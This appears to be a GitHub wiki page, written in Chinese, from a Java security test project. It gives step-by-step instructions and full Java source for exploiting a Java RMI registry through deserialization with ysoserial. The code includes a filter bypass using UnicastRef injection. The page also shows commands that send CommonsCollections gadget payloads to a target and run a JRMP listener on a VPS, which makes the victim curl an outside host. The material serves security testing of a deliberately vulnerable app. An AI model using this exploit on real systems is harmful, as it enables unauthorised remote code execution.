- Notifications
You must be signed in to change notification settings - Fork 769
Java RMI
JoyChou edited this page Oct 20, 2018
·
7 revisions
用Idea启动该应用默认会在127.0.0.1本地的1099端口开启RMI服务,所以可以直接测试。
如果没有开RMI,可以在org.joychou.RMI.Server类运行main函数开启。
Java 1.8.121版本以下:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 CommonsCollections1 "curl test.joychou.org/aaa"
Java 1.8.121版本及以上:
1、将exp放到ysoserial代码里,mvn打包
packageysoserial.exploit;
importcom.sun.jndi.rmi.registry.ReferenceWrapper;
importsun.rmi.server.UnicastRef;
importsun.rmi.server.UnicastServerRef;
importysoserial.payloads.CommonsCollections1;
importysoserial.payloads.ObjectPayload;
importysoserial.payloads.ObjectPayload.Utils;
importysoserial.payloads.util.Gadgets;
importysoserial.payloads.util.Reflections;
importysoserial.secmgr.ExecCheckingSecurityManager;
importsun.rmi.registry.RegistryImpl;
importjavax.management.remote.rmi.RMIConnectionImpl_Stub;
importjavax.net.ssl.*;
importjava.io.IOException;
importjava.io.ObjectInput;
importjava.io.ObjectOutput;
importjava.io.Serializable;
importjava.lang.reflect.*;
importjava.net.Socket;
importjava.rmi.ConnectIOException;
importjava.rmi.Remote;
importjava.rmi.RemoteException;
importjava.rmi.activation.Activator;
importjava.rmi.registry.LocateRegistry;
importjava.rmi.registry.Registry;
importjava.rmi.server.*;
importjava.security.cert.X509Certificate;
importjava.util.concurrent.Callable;
/** * 使用UnicastRef注入,绕过ObjectInputFilter checkInput对几个基础类型的检测 * sun.rmi.registry. */publicclassRMIRegistryExploit2 {
privatestaticclassTrustAllSSLextendsX509ExtendedTrustManager {
privatestaticfinalX509Certificate[] ANY_CA = {};
publicX509Certificate[] getAcceptedIssuers() {
returnANY_CA;
}
publicvoidcheckServerTrusted(finalX509Certificate[] c, finalStringt) { /* Do nothing/accept all */ }
publicvoidcheckClientTrusted(finalX509Certificate[] c, finalStringt) { /* Do nothing/accept all */ }
publicvoidcheckServerTrusted(finalX509Certificate[] c, finalStringt, finalSSLEnginee) { /* Do nothing/accept all */ }
publicvoidcheckServerTrusted(finalX509Certificate[] c, finalStringt, finalSockete) { /* Do nothing/accept all */ }
publicvoidcheckClientTrusted(finalX509Certificate[] c, finalStringt, finalSSLEnginee) { /* Do nothing/accept all */ }
publicvoidcheckClientTrusted(finalX509Certificate[] c, finalStringt, finalSockete) { /* Do nothing/accept all */ }
}
privatestaticclassRMISSLClientSocketFactoryimplementsRMIClientSocketFactory {
publicSocketcreateSocket(Stringhost, intport) throwsIOException {
try {
SSLContextctx = SSLContext.getInstance("TLS");
ctx.init(null, newTrustManager[]{newTrustAllSSL()}, null);
SSLSocketFactoryfactory = ctx.getSocketFactory();
returnfactory.createSocket(host, port);
} catch (Exceptione) {
thrownewIOException(e);
}
}
}
publicstaticvoidmain(finalString[] args) throwsException {
System.out.println("用法如下 RMIRegistryHost RMIRegistryPort JRMPListenerHost JRMPListenerPort");
finalStringrmiRegistryHost = args[0];
finalintrmiRegistryPort = Integer.parseInt(args[1]);
finalStringjrmpListenerHost = args[2];
finalintjrmpListenerPort = Integer.parseInt(args[3]);
Registryregistry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);
// test RMI registry connection and upgrade to SSL connection on failtry {
registry.list();
} catch (ConnectIOExceptionex) {
registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, newRMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserializationexploit(registry, jrmpListenerHost, jrmpListenerPort);
}
publicstaticvoidexploit(finalRegistryregistry,
finalClass<? extendsObjectPayload> payloadClass,
finalStringcommand) throwsException {
newExecCheckingSecurityManager().callWrapped(newCallable<Void>() {
publicVoidcall() throwsException {
ObjectPayloadpayloadObj = payloadClass.newInstance();
Objectpayload = payloadObj.getObject(command);
Stringname = "pwned" + System.nanoTime();
Remoteremote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwablee) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
returnnull;
}
});
}
publicstaticvoidexploit(finalRegistryregistry, finalStringjrmpListenerHost, finalintjrmpListenerPort) throwsException {
UnicastRefunicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
/* poc 1*/RMIConnectionImpl_Stubremote = newRMIConnectionImpl_Stub(unicastRef);
/* poc2 Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef)); *//* poc3 Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef)); *//* poc4 失败,无效 UnicastRemoteObject remote = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class); Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef); */Stringname = "pwned" + System.nanoTime();
try {
registry.bind(name, remote);
} catch (Throwablee) {
e.printStackTrace();
}
}
/*** * 生成一个UnicastRef对象 * @param host * @param port * @return */publicstaticUnicastRefgenerateUnicastRef(Stringhost, intport) {
java.rmi.server.ObjIDobjId = newjava.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpointendpoint = newsun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRefliveRef = newsun.rmi.transport.LiveRef(objId, endpoint, false);
returnnewsun.rmi.server.UnicastRef(liveRef);
}
publicstaticclassPocHandlerimplementsInvocationHandler, Serializable {
privateRemoteRefref;
protectedPocHandler(RemoteRefnewref) {
ref = newref;
}
@OverridepublicObjectinvoke(Objectproxy, Methodmethod, Object[] args) throwsThrowable {
returnmethod.invoke(this.ref, args);
}
}
}2、利用ysoserial在vps上监控一个JRMP端口以及要执行的命令
java -cp ysoserial-0.0.6-SNAPSHOall.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl test.joychou.org/rmi'
3、执行EXP
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit2 target_ip 1099 vps_ip 12345